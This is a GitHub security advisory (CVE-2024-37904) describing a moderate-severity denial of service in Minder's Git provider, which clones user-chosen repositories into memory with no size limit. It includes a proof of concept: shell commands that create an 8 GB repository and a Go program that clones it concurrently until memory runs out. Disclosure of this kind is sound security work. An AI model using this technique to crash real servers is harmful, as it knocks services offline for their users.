Skip to content

Minder affected by denial of service from maliciously configured Git repository

Moderate severity GitHub Reviewed Published Jun 18, 2024 in mindersec/minder • Updated Jun 18, 2024

Package

gomod github.com/stacklok/minder (Go)

Affected versions

< 0.0.52

Patched versions

0.0.52

Description

Minder's Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the github.com/go-git/go-git/v5 library on these lines:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89

The Git provider does the following on these lines:

First, it sets the CloneOptions, specifying the url, the depth etc:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62

It then validates the options:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L66-L68

It then sets up an in-memory filesystem, to which it clones:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L70-L71

Finally, it clones the repository:

https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L77

This (g *Git) Clone() method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:

  1. Users can control the Git URL which Minder clones.
  2. Minder does not enforce a size limit to the repository.
  3. Minder clones the entire repository into memory.

PoC

Here, we share a PoC of how the logic of (g *Git) Clone() behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.

We believe the below PoC is a correct representation because:

  1. We have replicated the important and impactful parts of (g *Git) Clone()
  2. We run this in multiple goroutines which Minder does here: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L128
  3. Minders timeout is set to 5 minutes: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L114. With a reasonable connection, Minder can download many GBs in that period.

In our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.

First, create a local Git repository:

cd /tmp
mkdir upstream-repo
cd upstream-repo
git init --bare
cd /tmp
git clone /tmp/upstream-repo ./upstream-repo-clone
cd ./upstream-repo-clone
# Add large file:
fallocate -l 8G large-file
git add .
git commit -m "add large file"
git push
cd /tmp

Create and run the following script in /tmp/dos-poc/main.go:

package main

import (
        "context"
        "fmt"
        "github.com/go-git/go-billy/v5/memfs"
        "github.com/go-git/go-git/v5"
        "github.com/go-git/go-git/v5/storage/memory"
        "runtime"
        "sync"
)

func main() {
        var (
                wg  sync.WaitGroup
        )

        for i := 0; i < 2; i++ {
                fmt.Println("Starting one...")
                wg.Add(1)
                go func() {
                        defer wg.Done()
                        opts := &git.CloneOptions{
                                URL:          "/tmp/upstream-repo",
                                SingleBranch: true,
                                Depth:        1,
                                Tags:         git.NoTags,
                        }

                        storer := memory.NewStorage()
                        fs := memfs.New()
                        git.CloneContext(context.Background(), storer, fs, opts)
                }()
        }
        fmt.Println("Finished")
        PrintMemUsage()
        wg.Wait()

}

func PrintMemUsage() {
        var m runtime.MemStats
        runtime.ReadMemStats(&m)
        // For info on each, see: https://golang.org/pkg/runtime/#MemStats
        fmt.Printf("Alloc = %v MiB", bToMb(m.Alloc))
        fmt.Printf("\tTotalAlloc = %v MiB", bToMb(m.TotalAlloc))
        fmt.Printf("\tSys = %v MiB", bToMb(m.Sys))
        fmt.Printf("\tNumGC = %v\n", m.NumGC)
}

func bToMb(b uint64) uint64 {
        return b / 1024 / 1024
}

On my local machine, this Go program is killed before it prints "Finished" in the terminal. Observing the memory by way of top, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.

References

@JAORMX JAORMX published to mindersec/minder Jun 18, 2024
Published to the GitHub Advisory Database Jun 18, 2024
Reviewed Jun 18, 2024
Published by the National Vulnerability Database Jun 18, 2024
Last updated Jun 18, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-37904

GHSA ID

GHSA-hpcg-xjq5-g666

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.